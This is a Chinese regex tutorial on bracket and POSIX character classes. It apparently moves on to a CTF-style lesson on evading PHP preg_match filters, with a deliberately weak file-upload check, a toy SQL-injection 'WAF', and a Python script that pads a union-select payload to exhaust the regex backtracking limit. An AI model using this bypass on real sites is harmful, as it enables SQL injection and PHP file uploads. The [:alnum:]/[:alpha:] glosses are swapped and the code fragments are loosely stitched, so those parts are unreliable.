正则表达式中有两个很重要的特殊字符就是"[ ]"。他们可以匹配"[]"之中出现过的字符，比如"/[az]/"可以匹配单个字符"a"或者"z"；如果把上面的表达式改成这样"/[a-z]/"，就可以匹配任何单个小写字母，比如"a"、"b"等等。
如果在"[]"中出现了"^"，代表本表达式不匹配"[]"内出现的字符，比如"/[^a-z]/"不匹配任何小写字母！并且正则表达式给出了几种"[]"的默认值，如下：

# '[:alnum:]' 匹配任何字母
Alphanumeric characters: '[:alpha:]' and '[:digit:]'.

# '[:alpha:]' 匹配任何字母和数字
Alphabetic characters: '[:lower:]' and '[:upper:]'.

# '[:blank:]'
Blank characters: space and tab.

# '[:cntrl:]'
Control characters. In ASCII, these characters have octal codes 000 through 037, and 177 ('DEL'). In other character sets, these are the equivalent characters, if any.

# '[:digit:]' 匹配任何数字
Digits: '0 1 2 3 4 5 6 7 8 9'.

# '[:graph:]'
Graphical characters: '[:alnum:]' and '[:punct:]'.

# '[:lower:]' 匹配任何小写字母
Lower-case letters: 'a b c d e f g h i j k l m n o p q r s t u v w
x y z'.

# '[:print:]'
Printable characters: '[:alnum:]', '[:punct:]', and space.

# '[:punct:]' 匹配任何标点符号
Punctuation characters: '! " # $ % & ' ( ) * + , - . / : ; < = > ? @ [ \ ] ^ _ ' { | } ~'.

# '[:space:]' 匹配空格符
Space characters: tab, newline, vertical tab, form feed, carriage
return, and space.

# '[:upper:]' 匹配任何大写字母
Upper-case letters: 'A B C D E F G H I J K L M N O P Q R S T U V W
X Y Z'.

# '[:xdigit:]' 匹配任何16进制数字
Hexadecimal digits: '0 1 2 3 4 5 6 7 8 9 A B C D E F a b c d e f'.

...
if(preg_match('/SELECT.+?FROM.+/is', $_POST['sql'])){
		die("SQL injection") //WAF
}else{
  	echo($_POST['sql']);
		//mysql_query($db,  $_POST['sql']); //查询
}

<?php
function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(empty($_FILES)) {
    die(show_source(__FILE__));
}

$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) { //必须绕过此处判断；使其返回false
    echo "bad request";
} else {
    @mkdir($user_dir, 0755);
    $path = $user_dir . '/' . random_int(0, 10) . '.php';
    move_uploaded_file($_FILES['file']['tmp_name'], $path);

    header("Location: $path", true, 303);
} 1

regex=/SELECT.+FROM.+/
param=select id from /*0123456789*/ test

#!/usr/bin/env python3
#encoding: utf-8
import requests

NUM = 1000000;# 你想填充的字符串数
URL = "http://php.test/select.php" # 地址

param = "union select 1,2,3,4,5 /*{}*/ ".format("A"*NUM) 
post_data = {"p":param}
resp = requests.post(url=URL, data=post_data)

print(resp.text)

<?php
function is_php($data){  
    return preg_match('/<\?.*[(`;?>].*/is', $data);  
}

if(is_php($input) === 0) {
    // fwrite($f, $input); ...
}